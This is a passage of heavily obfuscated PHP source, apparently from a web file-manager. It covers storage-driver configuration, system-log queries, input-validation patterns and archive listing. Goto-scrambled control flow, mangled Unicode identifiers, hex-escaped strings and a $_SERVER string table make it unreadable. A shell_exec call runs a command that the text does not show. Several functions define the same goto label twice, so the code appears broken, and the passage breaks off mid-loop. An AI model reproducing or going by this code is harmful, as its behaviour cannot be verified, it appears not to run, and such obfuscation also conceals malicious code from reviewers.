$this->checkConfig($e‡); } unset($e‡[$d柝[2333]]); goto b; b: $a = parent::update($Aچ, $e‡); if ($a && $e‡[$d柝[34]]) { foreach ($AԿ as $b榋) { if ($b榋[$d柝[34]] && $b榋[$d柝[364]] != $Aچ) { parent::update($b榋[$d柝[364]], array($d柝[34] => 0)); } } } return $a; goto fҜ; EΩ: $d柝 =& $_SERVER[ѽ]; $bⅻ = $e‡[$d柝[28]]; $AԿ = array_to_keyvalue(parent::listData(), $d柝[28]); goto a֑; fҜ: } public function add($A) { goto D; C뤌ȍ: return $d쏼Þ; goto F҅Ǟ; D̅: $this->checkConfig($A); $d쏼Þ = parent::insert($A); if ($d쏼Þ && $A[$b[34]]) { foreach ($Eƒܮ as $fݿ) { if ($fݿ[$b[34]]) { parent::update($fݿ[$b[364]], array($b[34] => 0)); } } } goto C뤌ȍ; D: $b =& $_SERVER[ѽ]; $Eƒܮ = array_to_keyvalue(parent::listData(), $b[28]); if (isset($Eƒܮ[$A[$b[28]]])) { return !1; } goto D̅; F҅Ǟ: } public function checkConfig(&$cǣ߱) { goto f⊹; Bꊲ: $d = $B٭->getPath($F옚늉 . $d׍噍[1962]); if (!$B٭->mkfile($d)) { show_json(LNG($d׍噍[2334]), !1); } $eф[$d׍噍[1028]] = $F옚늉; goto Bߓ; aį: foreach ($eф as $Eš => $bٸ) { $eф[$Eš] = trim($bٸ); } $F옚늉 = rtrim($eф[$d׍噍[1028]], $d׍噍[8]) . $d׍噍[8]; $aݛ = $this->driverType($C); goto EһɆ; Bߓ: $cǣ߱[$d׍噍[6]] = json_encode($eф); $cǣ߱[$d׍噍[90]] = $aݛ; return !0; goto f唈; EһɆ: $c = $d׍噍[71] . $aݛ; $B٭ = new $c($eф); if (in_array($C, $B٭->objectDriver)) { if (!$B٭->isBucketCors() && !$B٭->setBucketCors()) { $a = LNG($d׍噍[2334]); $a .= $d׍噍[2335] . LNG($d׍噍[2336]); show_json($a, !1); } } goto Bꊲ; f⊹: $d׍噍 =& $_SERVER[ѽ]; $C = strtolower($cǣ߱[$d׍噍[90]]); $eф = json_decode_force($cǣ߱[$d׍噍[6]]); goto aį; f唈: } private function driverType($eڄ ) { $D =& $_SERVER[ѽ]; $C = array($D[103] => $D[2337], $D[58] => $D[2338], $D[64] => $D[2339]); if (isset($C[$eڄ ])) { return $C[$eڄ ]; } return strtoupper($eڄ ); } public function driverListSystem() { $f䑏 =& $_SERVER[ѽ]; $CÎ = parent::listData(); $Fݾ = array(); foreach ($CÎ as $Fܳ) { unset($Fܳ[$f䑏[184]], $Fܳ[$f䑏[107]]); $Fܳ[$f䑏[6]] = json_decode_force($Fܳ[$f䑏[6]]); $Fݾ[] = $Fܳ; } return $Fݾ; } public function defaultDriver() { $d҆ =& $_SERVER[ѽ]; $F = parent::listData(); $dش = array_filter_by_field($F, $d҆[34], 1); $dش = $dش[0]; if ($dش) { $dش[$d҆[6]] = json_decode($dش[$d҆[6]], !0); } return $dش; } public function driverInfo($dִ) { $eψ =& $_SERVER[ѽ]; $FŲ = array_to_keyvalue(parent::listData(), $eψ[364]); if (!isset($FŲ[$dִ])) { return !1; } $DЦ = $FŲ[$dִ]; $DЦ[$eψ[6]] = json_decode_force($DЦ[$eψ[6]]); return $DЦ; } public function removeWithFile($aش) { goto f栩׽; F: $cť->task[$f皗[708]] = (double) $bƊ; $DҦ״ = KodIO::defaultDriver(); $aƋĬ = $DҦ״[$f皗[364]]; goto F; f栩׽: $f皗 =& $_SERVER[ѽ]; $eڗ = array($f皗[753] => $aش); $E = Model($f皗[418])->where($eڗ)->count(); goto Eɢ; D: $f = Model($f皗[164])->where($eڗ)->field($f皗[2343])->select(); foreach ($f as $aǡܲ) { goto F; C二: $Bѭ˱ = array($f皗[753] => $aƋĬ, $f皗[75] => $D޳); Model($f皗[164])->where($eڗ)->save($Bѭ˱); goto fҥƭܝ; f̡: if (IO::exist($D޳)) { $cť->updateFileEnd($aǡܲ[$f皗[28]], $aǡܲ[$f皗[77]]); continue; } if (!IO::move($cĬ, get_path_father($D޳))) { $E = !1; break; } $eڗ = array($f皗[415] => $aǡܲ[$f皗[415]]); goto C二; F: $cĬ = $aǡܲ[$f皗[75]]; $D޳ = $d˦؅ . str_replace("\173\x69\x6f\72{$aش}\x7d\x2f", $f皗[33], $cĬ); if (!IO::exist($cĬ)) { $fЎ[] = $aǡܲ[$f皗[415]]; $cť->updateFileEnd($aǡܲ[$f皗[28]], $aǡܲ[$f皗[77]]); continue; } goto f̡; fҥƭܝ: } $this->removeByFileID($fЎ); goto fç; F: $d˦؅ = "\173\x69\x6f\x3a{$aƋĬ}\x7d\57"; $E = !0; $fЎ = array(); goto D; fç: if (!$E) { $cť->stop($aѽ); return !1; } $cť->end(); return parent::remove($aش); goto B; Eɢ: $bƊ = Model($f皗[418])->where($eڗ)->sum($f皗[77]); $aѽ = $f皗[2340] . $aش; $cť = new TaskFileTransfer($aѽ, $f皗[2341], $E, LNG($f皗[2342]) . "\x28{$aش}\x29"); goto F; B: } public function progress($e) { return Task::get($_SERVER[ѽ][2340] . $e); } private function removeByFileID($fԪ = array()) { goto fѿ; fѿ: $d؄ =& $_SERVER[ѽ]; if (empty($fԪ)) { return; } $aϟ = array($d؄[415] => array($d؄[7], $fԪ)); goto b; Aӑ: foreach ($cŨυ as $E) { Model($d؄[379])->removeNow($E, !1); } goto FГ; b: $cŨυ = Model($d؄[1114])->where($aϟ)->field($d؄[366])->select(); if (!$cŨυ) { return; } $cŨυ = array_to_keyvalue($cŨυ, $d؄[33], $d؄[366]); goto Aӑ; FГ: } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\x6d\x2e\x4c\x69\x67\150\x74\101\160\x70"; public $modelType = "\123\x79\163\x74\x65\x6d\x4f\160\x74\151\x6f\x6e"; public $field = array("\156\141\155\145", "\x67\162\x6f\165\160", "\144\145\163\143", "\x63\x6f\x6e\x74\145\x6e\164"); public function listData($D޿ = false, $fﭓ薄 = "\x6d\x6f\x64\151\146\x79\124\151\x6d\145", $bϪ = true) { return parent::listData($D޿, $fﭓ薄, $bϪ); } public function remove($D) { $Fٸ = $this->findByName($D); if (!$Fٸ) { return !1; } return parent::remove($Fٸ[$_SERVER[ѽ][364]]); } public function add($bNJ) { if ($this->findByName($bNJ[$_SERVER[ѽ][28]])) { return !1; } return parent::insert($bNJ); } public function update($Dɋݦ, $cċ) { $a =& $_SERVER[ѽ]; $A = $this->findByName($Dɋݦ); $aܕϜ = $this->findByName($cċ[$a[28]]); if (!$A || $aܕϜ && $aܕϜ[$a[364]] != $A[$a[364]]) { return !1; } return parent::update($A[$a[364]], $cċ); } } class SystemLogModel extends ModelBase { protected $tableName = "\x73\x79\163\x74\x65\x6d\137\154\x6f\147"; protected $dataAuto = array(array("\x63\162\145\x61\x74\x65\124\151\x6d\145", "\x74\x69\x6d\x65", "\x69\x6e\163\x65\162\164", "\146\x75\x6e\x63\164\x69\x6f\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->allTypeList(); } public function allTypeList() { $e戽̭ =& $_SERVER[ѽ]; return array($e戽̭[2344] => LNG($e戽̭[2345]), $e戽̭[2346] => LNG($e戽̭[2347]), $e戽̭[2020] => LNG($e戽̭[2348]), $e戽̭[2349] => LNG($e戽̭[2350]), $e戽̭[2351] => LNG($e戽̭[2352]), $e戽̭[2353] => LNG($e戽̭[2354]), $e戽̭[2355] => LNG($e戽̭[2356]), $e戽̭[2357] => LNG($e戽̭[2358]), $e戽̭[2051] => LNG($e戽̭[2359]), $e戽̭[2052] => LNG($e戽̭[2360]), $e戽̭[2361] => LNG($e戽̭[2362]), $e戽̭[2363] => LNG($e戽̭[2364]), $e戽̭[2365] => LNG($e戽̭[2366]), $e戽̭[2367] => LNG($e戽̭[2368]), $e戽̭[2049] => LNG($e戽̭[2369]), $e戽̭[2055] => LNG($e戽̭[2370]), $e戽̭[2371] => LNG($e戽̭[2372]), $e戽̭[2373] => LNG($e戽̭[2374]), $e戽̭[2375] => LNG($e戽̭[2376]), $e戽̭[2377] => LNG($e戽̭[2378]), $e戽̭[2058] => LNG($e戽̭[2379]), $e戽̭[2059] => LNG($e戽̭[2380]), $e戽̭[2381] => LNG($e戽̭[2382]), $e戽̭[2383] => LNG($e戽̭[2384]), $e戽̭[2385] => LNG($e戽̭[2386]), $e戽̭[2387] => LNG($e戽̭[2388]), $e戽̭[2389] => LNG($e戽̭[2390]), $e戽̭[2053] => LNG($e戽̭[2391]), $e戽̭[2392] => LNG($e戽̭[2393]), $e戽̭[2394] => LNG($e戽̭[2395]), $e戽̭[2396] => LNG($e戽̭[2396]), $e戽̭[2397] => LNG($e戽̭[2024]), $e戽̭[2398] => LNG($e戽̭[2399]), $e戽̭[2400] => LNG($e戽̭[2401]), $e戽̭[2402] => LNG($e戽̭[2403]), $e戽̭[2404] => LNG($e戽̭[2405]), $e戽̭[2406] => LNG($e戽̭[2406]), $e戽̭[2407] => LNG($e戽̭[2408]), $e戽̭[2409] => LNG($e戽̭[2410]), $e戽̭[2411] => LNG($e戽̭[2412]), $e戽̭[2413] => LNG($e戽̭[2414]), $e戽̭[2415] => LNG($e戽̭[2416]), $e戽̭[2417] => LNG($e戽̭[2418])); } private function typeFile() { $a =& $_SERVER[ѽ]; $B = array($a[2055] => array($a[2056]), $a[2365] => array($a[2419]), $a[2367] => array($a[2420]), $a[2049] => array($a[2050]), $a[2373] => array(), $a[2375] => array(), $a[2377] => array(), $a[2058] => array($a[2060]), $a[2059] => array($a[2060]), $a[2381] => array($a[2421]), $a[2383] => array($a[2421]), $a[2385] => array($a[2422]), $a[2371] => array($a[2423]), $a[2387] => array($a[2424]), $a[2389] => array($a[2425]), $a[2053] => array($a[2054])); return $B; } private function typeAll() { goto dը; bṽ: return $eޜէ; goto c̆; aޑ濔: foreach ($DϏ as $D => $Bؒԧ) { $eޜէ[$Bؒԧ[0]] = $eޜէ[$D]; } $eޜէ[$cLJ[2060]] = LNG($cLJ[2426]); $eޜէ[$cLJ[2421]] = LNG($cLJ[2427]); goto bṽ; dը: $cLJ =& $_SERVER[ѽ]; $eޜէ = $this->typeList; $DϏ = array_filter($this->typeFile()); goto aޑ濔; c̆: } public function addLog($EҜ, $B޷ = array()) { goto F軩; f䎨: $B񇆑 = get_client_ip(); if (!$B޷ || strlen(json_encode($B޷)) >= 1024) { $B޷ = array($d[2428] => $B񇆑); } else { if (is_array($B޷)) { $B޷[$d[2428]] = $B񇆑; } else { $B޷ = array($d[1038] => $B޷, $d[2428] => $B񇆑); } } $B޷ = array($d[1407] => Session::sign(), $d[1408] => $Bᱢ, $d[29] => $EҜ, $d[1410] => json_encode($B޷)); goto c͠; F軩: $d =& $_SERVER[ѽ]; if (!isset($this->typeList[$EҜ])) { return; } $Bᱢ = USER_ID ? USER_ID : (isset($B޷[$d[1417]]) ? $B޷[$d[1417]] : 0); goto f䎨; c͠: parent::add($B޷); goto F; F: } public function remove($C) { $this->where(array($_SERVER[ѽ][382] => $C))->delete(); } private function _makeOrder($B = '') { goto Aʼn; aҺ: return $this->order($B); goto A٘; Aʼn: $e =& $_SERVER[ѽ]; $a = $e[184]; $f = array($e[398] => $e[399], $e[400] => $e[401]); goto FɊ̠; FɊ̠: $a菃Ј = Input::get($e[404], $e[7], $e[2218], array($e[2155], $e[400])); $a菃Ј = $f[$a菃Ј]; $B = $B . "{$a}\x20{$a菃Ј}"; goto aҺ; A٘: } public function get($cˑ = '') { goto B; B: $bęʒ =& $_SERVER[ѽ]; if (!$cˑ) { show_json(array()); } $bח = array(); goto F宰ɟ; d̓: $c[$bęʒ[351]] = $this->logList($c[$bęʒ[351]]); return $c; goto FǠق; c갺腄: if (!empty($cˑ[$bęʒ[2428]])) { $bח[$bęʒ[401]] = array($bęʒ[761], "\45{$cˑ[$bęʒ[2428]]}\x25"); } $c = $this->_makeOrder()->where($bח)->selectPage(); if (empty($c[$bęʒ[351]])) { show_json(array(), !0, $c[$bęʒ[348]]); } goto d̓; F宰ɟ: if ($cˑ[$bęʒ[1417]]) { $bח[$bęʒ[1417]] = $cˑ[$bęʒ[1417]]; } if (isset($cˑ[$bęʒ[712]])) { $b⇍ = $cˑ[$bęʒ[712]]; $fŘ = isset($cˑ[$bęʒ[713]]) ? $cˑ[$bęʒ[713]] : time(); $bח[$bęʒ[184]] = array($bęʒ[318], array($b⇍, $fŘ)); } if ($cˑ[$bęʒ[29]]) { $B = explode($bęʒ[47], $cˑ[$bęʒ[29]]); $D۽ = $this->typeFile(); $b = array(); foreach ($B as $AՑ栉) { $b[] = $AՑ栉; if (isset($D۽[$AՑ栉])) { $b = array_merge($b, $D۽[$AՑ栉]); } } $b = array_unique($b); if ($b) { $bח[$bęʒ[29]] = array($bęʒ[7], $b); } } goto c갺腄; FǠق: } private function ipAddress(&$B) { $Dլ =& $_SERVER[ѽ]; if (!empty($B[$Dլ[2428]])) { $Fַ = IpLocation::get($B[$Dլ[2428]]); if ($Fַ == $Dլ[2429]) { $Fַ = $Dլ[2430]; } } else { $Fַ = LNG($Dլ[2431]); } $B[$Dլ[2432]] = $Fַ; } private function descZipDownload($f, &$b) { $b =& $_SERVER[ѽ]; if (!isset($f[$b[2433]])) { return; } $d鍐 = json_decode($f[$b[2433]], !0); foreach ($d鍐 as $a҈) { if (!IO::init($a҈[$b[75]])) { continue; } if (!($Bض = IO::infoFull($a҈[$b[75]]))) { continue; } $f[$b[75]] = $a҈[$b[75]]; $b[] = $f[$b[2251]] = $Bض[$b[457]]; break; } return $f; } private function getSourceList(&$bΑ) { $Aɏ =& $_SERVER[ѽ]; $aɡÈ = array(); foreach ($bΑ as $CèҐ => $Eݐ) { goto cʅ; a搟: if ($e֌[$Aɏ[29]] == $Aɏ[2259]) { $aɡÈ[] = $e֌[$Aɏ[401]][$Aɏ[366]]; } goto B猘; cʰ΄: $aɡÈ[] = $e֌[$Aɏ[366]]; $aɡÈ[] = $e֌[$Aɏ[2251]]; if ($e֌[$Aɏ[29]] == $Aɏ[488]) { $aɡÈ[] = $e֌[$Aɏ[401]][$Aɏ[1010]]; $aɡÈ[] = $e֌[$Aɏ[401]][$Aɏ[1011]]; } goto a搟; cʅ: $e֌ = json_decode($Eݐ[$Aɏ[401]], !0); if ($Eݐ[$Aɏ[29]] == $Aɏ[2052]) { $e֌ = $this->descZipDownload($e֌, $aɡÈ); $bΑ[$CèҐ][$Aɏ[401]] = json_encode($e֌); continue; } if (strpos($Eݐ[$Aɏ[29]], $Aɏ[2252]) !== 0) { goto Fϑ; cǿ: $aɡÈ[] = $e֌[$Aɏ[366]] = $e[$Aɏ[366]]; $aɡÈ[] = $e֌[$Aɏ[2251]] = $e[$Aɏ[457]]; $bΑ[$CèҐ][$Aɏ[401]] = json_encode($e֌); goto c; Fϑ: if (!isset($e֌[$Aɏ[75]]) || strpos($Eݐ[$Aɏ[29]], $Aɏ[2434]) !== 0) { continue; } if (!IO::init($e֌[$Aɏ[75]])) { continue; } if (!($e = IO::infoFull($e֌[$Aɏ[75]]))) { continue; } goto cǿ; c: continue; goto e; e: } goto cʰ΄; B猘: } if (!$aɡÈ) { return array(); } return Model($Aɏ[762])->sourceListInfo($aɡÈ, !0); } private function logList($eڂɣ) { goto dש; Cք: $Aׂ = array(); foreach ($eڂɣ as $d => $EɎǡ´) { goto Eϙ; fު: $this->ipAddress($EɎǡ´); if (strpos($dײ, $e[2252]) === 0 || isset($e[$e[2251]])) { goto a뇬; eź: if ($e[$e[29]] == $e[2259]) { $e[$e[401]][$e[366]] = $D[$e[$e[401]][$e[366]]]; } if ($e[$e[29]] == $e[2047]) { $e[$e[2264]] = $e[$e[388]]; $e[$e[2251]] = $e[$e[2264]][$e[366]]; $e[$e[388]] = !1; $e[$e[366]] = $e[33]; } if ($e[$e[388]] && $e[$e[388]][$e[368]] == $e[1084]) { $Aׂ[] = $EɎǡ´[$e[364]]; unset($eڂɣ[$d]); continue; } goto Aß; a뇬: $e[$e[388]] = $D[$e[$e[366]]]; $e[$e[2264]] = $D[$e[$e[2251]]]; if ($e[$e[29]] == $e[488]) { $e[$e[401]][$e[1010]] = $D[$e[$e[401]][$e[1010]]]; $e[$e[401]][$e[1011]] = $D[$e[$e[401]][$e[1011]]]; } goto eź; Aß: if ($e[$e[2264]] && $e[$e[2264]][$e[368]] == $e[1084]) { $Aׂ[] = $EɎǡ´[$e[364]]; unset($eڂɣ[$d]); continue; } goto C; C: } $EɎǡ´[$e[401]] = $e; goto Eʜ; Føʨ: $EɎǡ´[$e[28]] = isset($f[$e[28]]) ? $f[$e[28]] : LNG($e[2431]); $EɎǡ´[$e[2300]] = isset($f[$e[2300]]) ? $f[$e[2300]] : $e[33]; $EɎǡ´[$e[1325]] = isset($AԞ̡[$dײ]) ? $AԞ̡[$dײ] : $fٺ; goto FөϷȂ; Eϙ: $dײ = $EɎǡ´[$e[29]]; $f = isset($D[$EɎǡ´[$e[1417]]]) ? $D[$EɎǡ´[$e[1417]]] : !1; $fٺ = strpos($dײ, $e[2435]) == 0 ? LNG($e[2436]) : LNG($e[2431]); goto Føʨ; FөϷȂ: $EɎǡ´[$e[2217]] = $f; $e = json_decode($EɎǡ´[$e[401]], !0); $EɎǡ´[$e[2428]] = isset($e[$e[2428]]) ? $e[$e[2428]] : $e[33]; goto fު; Eʜ: unset($EɎǡ´[$e[2437]]); $DÞ[] = $EɎǡ´; goto a; a: } $this->clearSystemPathLog($Aׂ); goto E莈; ē: $D = $this->getSourceList($eڂɣ); $AԞ̡ = $this->typeAll(); $DÞ = array(); goto Cք; E莈: return $DÞ; goto F¯; dש: $e =& $_SERVER[ѽ]; $B͗ = array_to_keyvalue($eڂɣ, $e[33], $e[1417]); $D = Model($e[473])->userListInfo(array_unique($B͗)); goto ē; F¯: } private function clearSystemPathLog($bω) { $AԒӂ =& $_SERVER[ѽ]; if (count($bω) == 0) { return; } $D꼴 = array($AԒӂ[364] => array($AԒӂ[7], array_unique($bω))); $this->where($D꼴)->delete(); } public function deviceList($bΙ, $Cבْ = 0) { $eӺ =& $_SERVER[ѽ]; $D = array($eӺ[1417] => $bΙ, $eӺ[184] => array($eӺ[934], $Cבْ), $eӺ[29] => $eӺ[2020]); $cɍ = array(); $C = $this->field($eӺ[2438])->where($D)->order($eӺ[2262])->limit(50)->select(); foreach ($C as $a焘 => $b) { goto b͗; C䑎: unset($c[$eӺ[2428]]); $D󱂥؇ = $this->deviceType($c[$eӺ[2253]]); if (isset($cɍ[$D󱂥؇])) { continue; } goto f; b͗: if ($a焘 > 0 && abs($b[$eӺ[184]] - $C[$a焘 - 1][$eӺ[184]]) < 5) { continue; } $c = json_decode($b[$eӺ[401]], !0); $b[$eӺ[2428]] = isset($c[$eӺ[2428]]) ? $c[$eӺ[2428]] : $eӺ[33]; goto C䑎; f: $this->ipAddress($b); $b[$eӺ[401]] = $c; $cɍ[$D󱂥؇] = $b; goto aؐ; aؐ: } return array_values($cɍ); } public function deviceType($Eܵ֕) { return $Eܵ֕; } } goto e; F͇: class Input { public static function getArray($Aٴ) { goto eӐ; A߉֌: $B͋ = array(); $Dਘ = LNG($d꫌[1853]); foreach ($Aٴ as $d۟ => $f) { goto Fو⦥; Fو⦥: $aɉ = _get($f, $d꫌[1242], $Dਘ . $d꫌[886] . $d۟); $E̵ם = $d۟; if (isset($f[$d꫌[1854]]) && $f[$d꫌[1854]]) { $E̵ם = $f[$d꫌[1854]]; } goto Dܸ; B: if (isset($f[$d꫌[1856]]) && !self::check($in[$d۟], $f[$d꫌[1856]], $C)) { if (array_key_exists($d꫌[1855], $f)) { if (!is_null($f[$d꫌[1855]])) { $EɃ[$E̵ם] = $f[$d꫌[1855]]; } } else { $B͋[] = $aɉ; } continue; } $EɃ[$E̵ם] = $in[$d۟]; goto b; Dܸ: if (!array_key_exists($d۟, $in)) { if (array_key_exists($d꫌[1855], $f)) { if (!is_null($f[$d꫌[1855]])) { $EɃ[$E̵ם] = $f[$d꫌[1855]]; } } else { if (isset($f[$d꫌[1856]])) { $B͋[] = $aɉ; } } continue; } if (isset($f[$d꫌[1856]]) && $f[$d꫌[1856]] == $d꫌[279]) { $eߏ = json_decode($in[$d۟], !0); if (is_array($eߏ)) { $EɃ[$E̵ם] = $eߏ; } else { if (array_key_exists($d꫌[1855], $f)) { if (!is_null($f[$d꫌[1855]])) { $EɃ[$E̵ם] = $f[$d꫌[1855]]; } } else { $B͋[] = $aɉ; } } continue; } $C = _get($f, $d꫌[1015]); goto B; b: } goto B癥; B癥: if (count($B͋) > 0) { show_json(implode($d꫌[1857], $B͋), !1); } return $EɃ; goto E᳍; eӐ: $d꫌ =& $_SERVER[ѽ]; global $in; $EɃ = array(); goto A߉֌; E᳍: } public static function reg($aӊ = "\162\x65\x71\x75\151\x72\x65") { static $C = array("\x72\145\x71\165\151\162\x65" => "\x2e\53", "\x6e\x75\x6d\x62\x65\x72" => "\134\x64\53", "\x68\145\170" => "\x5b\60\x2d\x39\x41\x2d\106\x61\55\146\135\x2b", "\x69\156\x74" => "\x5b\x2d\x5c\53\135\77\x5c\144\53", "\142\x6f\x6f\x6c" => "\60\x7c\61", "\x66\x6c\x6f\141\x74" => "\x5b\55\134\x2b\135\77\134\x64\53\x28\134\56\134\144\x2b\x29\77", "\145\156\147\154\x69\x73\x68" => "\x5b\101\x2d\132\x61\55\x7a\x20\135\x2b", "\143\150\151\156\x65\x73\145" => "\x5b\x5c\x78\x7b\64\x65\60\60\x7d\x2d\134\x78\173\x39\146\141\x35\175\135\53", "\150\141\x73\103\150\x69\x6e\145\x73\x65" => "\57\x28\133\134\x78\x7b\64\145\x30\x30\x7d\x2d\x5c\x78\173\x39\x66\x61\65\175\x5d\x2b\51\x2f\165", "\x65\x6d\141\151\154" => "\134\167\53\x28\x5b\134\x2e\134\x2d\x5d\x5c\167\x2b\x29\52\x5c\x40\134\167\x2b\x28\x5b\134\x2e\x5c\x2d\135\x5c\x77\53\x29\52\x5c\56\134\x77\53", "\160\150\x6f\156\x65" => "\x31\133\63\55\x39\135\134\144\x7b\x39\x7d", "\x74\x65\154\x70\x68\157\x6e\x65" => "\50\134\50\134\x64\x7b\63\x2c\x34\175\134\x29\x7c\134\x64\173\63\54\64\x7d\55\174\x5c\163\51\x3f\134\144\173\x37\54\61\x34\x7d", "\165\x72\154" => "\x28\150\x74\x74\x70\174\146\164\x70\174\150\164\x74\160\163\x29\x3a\134\x2f\x5c\57\133\x5c\167\134\55\137\x5d\53\x28\134\56\133\134\167\134\x2d\x5f\x5d\x2b\51\53\x28\133\x5c\x77\x5c\x2d\134\x2e\x2c\x40\x3f\136\75\45\x26\x3a\134\57\x7e\134\x2b\x23\135\52\x5b\134\167\134\55\x5c\x40\77\136\x3d\x25\x26\x5c\57\x7e\x5c\53\43\135\x29\77", "\165\162\x6c\x46\165\x6c\x6c" => "\133\x61\x2d\x7a\x41\x2d\x7a\x5d\x2b\x3a\134\57\134\57\x5b\x5e\x5c\x73\x5d\52", "\151\x70" => "\x28\134\144\x7b\x31\54\x33\x7d\134\x2e\51\x7b\63\x7d\x28\134\x64\173\x31\54\x33\175\51", "\x7a\x69\x70" => "\x5b\61\x2d\71\x5d\x5c\144\x7b\65\x7d\x28\x3f\x21\x5c\144\x29", "\x69\144\103\141\162\x64" => "\x28\x5c\x64\x7b\x31\x35\175\51\x7c\x28\134\144\173\x31\67\x7d\50\134\x64\x7c\x58\x7c\170\x29\x29", "\x63\157\x6c\x6f\x72" => "\43\50\x5b\60\x2d\x39\x41\x2d\x46\141\x2d\146\x5d\x7b\63\x7d\x7c\x5b\x30\55\x39\101\x2d\x46\141\x2d\x66\135\173\66\x7d\x29", "\x74\x69\155\145" => "\x28\133\60\55\x31\135\x5c\144\174\62\x5b\60\x2d\64\x5d\x29\72\x5b\x30\x2d\65\135\134\144", "\x64\141\164\145" => "\134\x64\x7b\x34\175\x5b\55\x5c\57\135\x3f\50\x30\x5b\61\x2d\x39\135\x7c\x31\x5b\60\55\x32\135\51\x5b\55\134\57\135\77\50\133\x30\x2d\x32\135\x5c\x64\174\x33\133\60\55\61\x5d\51", "\144\141\x74\x65\124\x69\x6d\x65" => "\134\144\173\x34\x7d\133\55\134\57\x5d\x3f\x28\60\133\x31\x2d\x39\135\x7c\x31\x5b\x30\55\62\135\51\x5b\x2d\x5c\x2f\x5d\x3f\x28\x5b\60\55\x32\x5d\x5c\x64\174\x33\133\x30\x2d\61\x5d\51\x5c\x73\53\x28\133\60\x2d\x31\x5d\134\144\x7c\x32\133\x30\x2d\x34\x5d\x29\72\x5b\60\x2d\x35\135\134\144", "\x70\141\x73\x73\x77\157\x72\144" => "\x28\x3f\75\x2e\52\134\x64\x29\x28\x3f\x3d\56\52\133\141\x2d\172\135\x29\50\77\75\56\x2a\133\101\55\x5a\135\51\x2e\173\70\x2c\62\60\175", "\153\x65\x79" => "\x5b\x41\x2d\132\x61\55\x7a\60\x2d\x39\137\134\x2d\134\x2e\x5d\x2b", "\153\x65\x79\106\x75\x6c\x6c" => "\x5b\101\x2d\132\x61\x2d\x7a\60\55\x39\x5f\x5c\55\134\x2e\x5c\x73\54\x5d\x2b"); if (!$aӊ) { return $C; } return $C[$aӊ]; } public static function check($CΏ, $e琩, $Fï = null) { $Eڅ =& $_SERVER[ѽ]; switch ($e琩) { case $Eڅ[7]: return in_array($CΏ, $Fï); break; case $Eڅ[1858]: return floatval($CΏ) > $Fï; break; case $Eڅ[1859]: return floatval($CΏ) < $Fï; break; case $Eڅ[322]: return strlen($CΏ) >= $Fï[0] && strlen($CΏ) <= $Fï[1]; break; case $Eڅ[322]: if (is_array($Fï)) { return strlen($CΏ) >= $Fï[0] && strlen($CΏ) <= $Fï[1]; break; } else { return strlen($CΏ) == $Fï; break; } case $Eڅ[318]: return floatval($CΏ) >= $Fï[0] && floatval($CΏ) <= $Fï[1]; break; } $Bˆ̜ = self::reg(!1); $e琩 = isset($Bˆ̜[$e琩]) ? $Bˆ̜[$e琩] : $e琩; if (substr($e琩, 0, 1) != $Eڅ[8]) { $e琩 = $Eڅ[1860] . $e琩 . $Eڅ[1861]; } return preg_match($e琩, $CΏ) === 1; } public static function get($Cպˡ, $C٣ֈ = null, $F֗ = null, $eҍĂ = null) { goto Eݕ; Eݕ: $fܹʼn =& $_SERVER[ѽ]; $D䙙 = array(); if (!is_null($F֗)) { $D䙙[$fܹʼn[34]] = $F֗; } goto fÞ; DѢߌ: return $D顝[$Cպˡ]; goto C; fÞ: if (!is_null($eҍĂ)) { $D䙙[$fܹʼn[1015]] = $eҍĂ; } if (!is_null($C٣ֈ)) { $D䙙[$fܹʼn[1856]] = $C٣ֈ; } $D顝 = Input::getArray(array($Cպˡ => $D䙙)); goto DѢߌ; C: } } class KodArchive { static function init() { goto B; B: require_once ARCHIVE_LIB . $Cޮ晲[1873]; goto Cڐۂ; CΜᙑ“: mk_dir(TEMP_FILES); require_once ARCHIVE_LIB . $Cޮ晲[1868]; require_once ARCHIVE_LIB . $Cޮ晲[1869]; goto cƃ; cƃ: require_once ARCHIVE_LIB . $Cޮ晲[1870]; require_once ARCHIVE_LIB . $Cޮ晲[1871]; require_once ARCHIVE_LIB . $Cޮ晲[1872]; goto B; B: $Cޮ晲 =& $_SERVER[ѽ]; if (defined($Cޮ晲[1862])) { return; } define($Cޮ晲[1862], SDK_DIR . $Cޮ晲[1863]); goto d߉; d߉: define($Cޮ晲[1864], TEMP_FILES); define($Cޮ晲[1865], TEMP_FILES); define($Cޮ晲[1866], $Cޮ晲[1867]); goto CΜᙑ“; Cڐۂ: } static function checkIfType($E, $aªŚ) { goto e¿ֽ; e¿ֽ: $e悢 =& $_SERVER[ѽ]; self::init(); $C = array($e悢[298] => array($e悢[298], $e悢[1874], $e悢[1875], $e悢[1876]), $e悢[1877] => array($e悢[1877], $e悢[1878], $e悢[1047], $e悢[1045]), $e悢[1049] => array($e悢[1049], $e悢[1879], $e悢[1880], $e悢[1881], $e悢[1882], $e悢[1883], $e悢[1884])); goto f; f: $Dĭץ = in_array($E, $C[$aªŚ]); if ($Dĭץ && ($aªŚ == $e悢[298] || $aªŚ == $e悢[1877]) && (!function_exists($e悢[1885]) || !function_exists($e悢[1886]))) { show_tips($e悢[1887]); } if ($Dĭץ && $aªŚ == $e悢[1049] && (!function_exists($e悢[1888]) || !strstr(shell_exec($e悢[1889]), $e悢[1890]))) { show_tips($e悢[1891]); } goto A͇ȓ; A͇ȓ: return $Dĭץ; goto C; C: } static function listContent($B™, $D = true) { $F =& $_SERVER[ѽ]; self::init(); $DՄ = !empty($GLOBALS[$F[1053]]) ? $GLOBALS[$F[1053]] : get_path_ext($B™); $D٢ = !1; if (self::checkIfType($DՄ, $F[1877])) { $C = PclTarList($B™, $DՄ); $D٢ = array(); for ($dۈ = 0; $dۈ < count($C); $dۈ++) { $A̚ڽ = $C[$dۈ]; if ($A̚ڽ[$F[1892]] == $F[1893] || $A̚ڽ[$F[1892]] == $F[1894]) { continue; } if ($D) { $A̚ڽ[$F[1895]] = ltrim($A̚ڽ[$F[1895]], $F[1151]); } if ($A̚ڽ[$F[1892]] == $F[1896]) { $A̚ڽ[$F[76]] = !0; } else { $A̚ڽ[$F[76]] = !1; } $A̚ڽ[$F[1040]] = $dۈ; $D٢[] = $A̚ڽ; } } else { if (self::checkIfType($DՄ, $F[1049])) { $Eҵ = kodRarArchive::listContent($B™); if (!$Eҵ[$F[1036]]) { return $Eҵ; } else { $D٢ = $Eҵ[$F[1038]]; } } else { if (kodZipArchive::support($F[351])) { $D٢ = kodZipArchive::listContent($B™); } else { $aÕ = new PclZip($B™); $D٢ = $aÕ->listContent(); } } } if ($D٢) { $D˙ = unzip_charset_get($D٢); $D = $D && function_exists($F[65]); for 